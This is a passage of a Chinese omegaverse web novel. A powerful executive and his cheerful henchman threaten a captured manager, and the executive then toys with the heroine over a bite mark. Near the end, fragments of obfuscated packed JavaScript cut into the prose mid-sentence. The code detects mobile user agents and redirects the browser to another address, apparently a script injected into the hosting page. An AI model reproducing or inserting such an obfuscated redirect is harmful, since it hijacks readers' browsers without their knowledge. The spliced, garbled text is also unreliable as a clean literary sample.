脸部的肌肉好像突然就失去了控制,甚至于痉.挛,状如恶鬼。 可他跪伏在地上,抬头仰望着轻描淡写的执政官,却觉得这才是真正从地狱爬上人间的魔鬼。 嘴唇颤抖翕合数次,经理最后也只能干涩地挤出一句:“罪不及家人……执政官大人,这,不合规矩吧?” 陆吾却笑着反问:“那你是承认,自己有罪了?” 经理又闭口不言了。 陆吾叹气:“你看,人人都知道心疼家里的孩子。可你动手的时候,怎么就没想过,我也算是自己家里的小辈呢?” “可惜如今没人心疼我,只好我多心疼一下自己了。” “不过,我倒也不是那种不通情达理的人。我这个人向来讲究公平,有恩报恩、有仇报仇——” 陆吾说到这里,停顿了一下。 不知道是不是错觉,季池予感觉自己被看了一眼,但她假装没注意到,只是埋头苦吃。 季池予默默藏起痛苦面具:听懂了,在这点她呢。 她愈发竖起耳朵,以余光偷瞄那边的情况。 却见陆吾放下了交叠的双腿,转而用鞋尖挑起了经理的下巴,又微笑着,俯身 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顶着俞研面无表情的凝视压力,他挠挠头,理不直但气壮地作总结。 “总之很贵很好用!注.射了这个之后,就算你是信息素相对稳定的Beta,也可以诱.发类似信息素失控的痛苦。” 恐惧到极致,经理出于求生本能,转身就想逃跑! 但他都还来不及爬起来,就被兰斯一脚踢在膝窝处,整个人侧摔在地上,痛得眼冒金星。 而追过来,单手就将经理掰正、正面朝向自己的兰斯,还在嘀嘀咕咕地抱怨。 “哎,你这人怎么这样!我没有妈妈教就算了,难道你也不知道,看着人的眼睛、听人把话说完,是一种很基础的礼貌吗?” “我还有事情要问你呢!” 抱怨却不至于气恼,像是热情的小狗,兰斯卷起袖子,用着和言行完全不符的开朗笑容,耐心地询问对方。 “咱们都第二次见面了,也可以算是熟人了。那这次让你自己选,想要几成熟?啊不好意思平时说顺口了,我是问——” “你想要几成死?” 季池予别开了目光。 或许,比起因为信息素失控而导致理智丧失的Alpha,兰斯才更像是一头懵懂又凶悍的小兽。 从言行举止到思考逻辑,都总是区别于常人的天马行空,让人难以揣测他的下一步行动。 顶着这样一张天真的、还带着些孩子气的脸,却理所当然地执行残酷。 正是如此,才更容易让人心生恐惧。 兰斯的确不需要懂所谓“绑匪”的职业素养,因为这才应该是他平时做惯的本职工作。 不过,季池予倒也犯不着替经理操心。 反正两边都不是什么奉公守法的无辜公.民,不在她的服务范围,要是能一起同归于尽,那才是人民群众真正喜闻乐见的Happy Ending。 而且不管怎么想,接下来,都是轮到她倒霉了。 有句讲句,接连两次无辜路过却惨遭卷入麻烦的她,才是更值得被同情的那一个吧? 感觉到脚步声在靠近,季池予在心里叹了口气,认命地慢慢抬起眼。 幽暗的镭射灯光掠过上方那张俯视着她的脸,即使在扭曲的光影中,也依旧俊美得惊心动魄。 是字面意义上的那种惊心动魄。 季池予听见了自己不受控加速的心跳声。 而刚做完坏事的陆吾,却偏偏摆出一副仿佛很友善的样子,还挥手跟她打招呼。 “真巧啊,没想到这么快就又见面了。看来那束花送得不错,应该很合季池予专员的心意。” 说着,陆吾又看了眼旁边快吃完的果盘,饶有兴趣地补充:“哦,还有这个。” “所以,上次是因为我招待不周,季池予专员才连一个道谢的机会都不肯给我,就急匆匆地离开了?” 说到这里,这只性格恶劣的猫科动物,在把猎物吊着、铺垫完一圈之后,终于图穷匕见。 他忽然弯下腰来,靠近季池予,笑吟吟地问。 “——这次不跑了?” 14.【014】 【014】 其实陆吾也没想到,那句随手附在花束卡片上的“下次见”,会来得这么快、这么突然。 最好笑的是,他都没急着把人抓回来,结果这只昨天才刚从笼子里溜出去的兔子,就自投罗网,非往自己眼前跳。 事实上,陆吾没有派人跟踪季池予的动向,所以对她今天同样来了伊甸园的事,也并不知情。 只是,刚才他在等俞研把经理带过来的空隙里,从二楼包厢俯瞰舞池的时候,一眼就看到了人潮中的季池予。 甚至都不能怪他视力太好,主要是对方的确太显眼了。 当所有人都在为Omega信息素而疯狂、削尖脑袋往黄金鸟笼那边冲撞时,唯有她一脸状况外的表情,还在奋力往外挤。 像是撕咬着猎物的鬣狗群里,突然混入了一只无害的草食动物,实在格格不入,很好辨认。 陆吾饶有兴趣地观察了一会儿。 因为他没有信息素失控期间的记忆,等他醒来时,季池予又睡得正香,而他再回到别馆时,人都已经跑得没影了。 所以严格来说,这才是陆吾第一次见到清醒状态的季池予。 他读过季池予留下的那张字条,也曾设想过,这么人不可貌相、还反过来把一群Alpha耍得团团转的家伙,该是个什么样子的。 现在看起来,果然——没有字条里自夸得那么乖巧听话。 陆吾看着季池予在人潮里努力扑腾,却反而被周围的人越推越远,最后气得开始咬牙切齿的样子,就忍不住想笑。 弱小、无助、但爱咬人。 瞧着多可怜啊。 于是他好心地叫来了兰斯,让兰斯把人带上来。 来都来了,这么巧也是缘分,陆吾不介意一次性解决两桩事。 眼见经理的精神还不错,像是还能再嘴硬扛一段时间,他就索性暂时把经理扔给兰斯处理,自己转头来找人算第二笔账。 毕竟这边,可比经理那边有意思多了。 陆吾在季池予跟前站定,笑吟吟地问了那句:“这次不跑了?” 明知故问。明明他才是那个,下令把她逮过来,又不打算轻易放她走的罪魁祸首。 季池予默默在心里回答:跑肯定还是要跑的。不过先等她观察一下敌情,再决定具体怎么个跑法。 但行动上,她还是配合地点点头,整个人非常心平气和的,等着看这只坏猫要怎么犯病。 有兰斯和经理的前车之鉴,季池予本以为自己已经做好了充分的、和神.经.病战斗的心理准备。 可她还是输了。 陆吾没有说话,而是忽然抬起右手,先向她展示了手腕上,那个依然清晰可见的齿痕。 季池予看到都不由愣了一下。 她当然记得这个痕迹。 昨天在地下密室,她被陆吾强行标记的时候,的确是因为被咬疼了,气不过,就趁着对方信息素失控的状态,也狠狠咬了回去。 但她自己咬的,最清楚用了多大力气。 那种小伤口,以S级Alpha的体质和恢复能力,别说等到今天了,一两个小时之内,连药都不用涂,就能愈合到一点疤痕都不剩。 有季迟青作参考,她对这个判断很有自信,否则也不会动这个口。 如果硬是拖到现在还没有好,她只能想到一种合理的解释——对方是特意用了别的药剂,阻止伤口痊愈的。 季池予:? 她看了看咬痕,又看了看陆吾,又看了看咬痕,大受震撼,整个人都快变成了宇宙猫猫头的形状。 ……不是?她到底犯什么天条了?不就是咬了一口吗?有必要吗?多大仇多大怨这得啊? 只许Alpha咬人,不许地球人以牙还牙是吧! 季池予还没在心里批.判完,就听到陆吾又意味深长地开口。 “昨天的意外,真的很感谢季池予专员的协助。不过,我这个人向来有恩报恩、有仇报仇。一码归一码。” “说起来,枪伤刀伤我都受过,这种伤倒还真是头一回,没什么经验。还挺新奇的呢。” 陆吾说着,一边翻转掌心,仔细欣赏自己保存下的“证据”,颇为满意。 然后他笑吟吟的,一副好像很好说话的样子,征询被告方的建议。 “所以,季池予专员,你觉得这笔账要怎么算比较好?” 季池予忍了一下,还是没忍住。 她真诚地提醒对方:“如果按照这个逻辑的话,事有先后,也是指挥官阁下您先动口的吧?” 却不料,陆吾一摊手,一脸无辜地反问。 “是这样子吗?真不好意思,我在信息素失控期间的记忆比较模糊……那可以麻烦季池予专员,给我看一下你的证据吗?” 季池予下意识伸手搭上了自己的后颈。 但那处原本深刻的咬痕,已经在简知白昨晚的妥善处理下,早就完全愈合,连结痂都已经脱落了。 陆吾的视线也自然追了过去,跟着落到那截白皙无瑕的肌肤上。 不管是他的信息素,还是他留下的那个咬痕,都已经消失得干干净净了。 这对Alpha天生的占有欲来说,无异是一种很直接的刺激。 标记本能开始作祟,在他耳边蛊动,要将逃走的猎物重新压到身下,再次咬上那截属于他的后颈。 以至于,陆吾需要稍微拿出点意志力,才能成功将自己的视线,从对方的身上慢慢撕下来。 再开口的时候,他依旧微笑着,声音却多了几分喑哑。 “没证据吗?那可就难办了啊。按照律法,不管是在行动组还是联邦法.院,断案都得靠证据说话才行呢……对吧?季池予专员。” 虽然但是,季池予觉得,哪怕她真的保留了“证据”,这位陆大执政官应该也会再想办法,给她安个别的罪名的。 你永远没办法叫醒一个装睡的人,同理,对故意要找你茬的人也一样。 这场谈判,从一开始就是不公平的。 季池予抬眼看向陆吾,忽然慢吞吞地叹了口气。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16298764|182145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 然后,她向陆吾伸出右手。 这是一个亲昵的、仿佛想要抚摸对方脸颊的动作。 陆吾愣了一下。 但在他下意识准备后撤、拉开距离时,看到那只手先一步停下,停在了一个不远不近的位置。 是他再稍微往前倾一点身,就能吻上掌心的距离。 而季池予语气诚恳:“要么,执政官阁下您再咬回来一次?” 坏猫就是这样的。越是不让它把杯子推下去,它就越叛逆、越来劲。等真正推下去了,又会立刻抛到脑后,去找新玩具。 目前看来,她就是陆吾现在想要推的那个“杯子”。 既然能够确认,对面没有要杀人灭口的意思,那配合演出、满足对方的恶趣味,速战速决才是上策。 如果继续纠缠下去,被陆吾查出了她其实是季迟青的姐姐,那才真的是大事不妙。 季池予这次是自愿被咬的。 没了之前的不情愿,她眉眼弯弯的,露出一个真心实意的笑容,又主动将手举得高一些。 “请用。”季池予自诩态度尊敬,服务周到,再坏的猫也该撸顺毛了。 陆吾却忽然改了主意,不打算轻易放人走了。 信息素紊乱的暗疾,是他足以致命的弱点。 但凡流露出去一点风声,恐怕立刻就会有数不清的人,在暗中谋划,要怎么利用这一点来刺杀他。 而季池予竟然能够靠近失控状态的他,为他成功注射抑制剂。 这也是目前出现过的,唯一一个,能绕开他自我保护潜意识的特殊例外。 他当然有足够充分的理由,要把人留在身边,以备不时之需。 另外一个原因就是—— 陆吾双手环胸,俯视着面前的人,几乎能将对方的情绪和想法都一览无余。 季池予并不是那种很擅长伪装和隐藏的类型。 至少,在擅长摆弄人心的陆吾眼中,她就像个透明的盒子,那点小心思只差没写在脸上。 想到这里,陆吾不由又看了眼旁边的果盘,嗤笑:难怪能和兰斯玩到一块去。半斤八两。 对他避之不及、想尽快扯平走人? 那他偏不。 陆吾生平最大的乐趣,就是建立在他人的痛苦之上,看乐子。主打一个阴晴不定和随心所欲。 季池予还是把他想得太善了。 陆吾看着被送到嘴边的那只右手,没有咬,而是捏了捏手腕侧边的那处软.肉,又极为和善地提醒对方。 “这是本金。”他温温柔柔地坐地起价,“那利息要怎么算?” 季池予瞳孔地震:“……” 哪怕是高.利.贷.利.滚.利也没有这么个滚法吧!这才第二天都还没过呢!简知白都不敢这么明抢啊! 陆吾看她气得攥紧拳头的样子,忍不住又想笑。 可当他扬起眉,准备抛出一个蓄谋已久的建议时,季池予却忽然给出自己的答案。 “——如果我能让那个人说实话呢?”她问。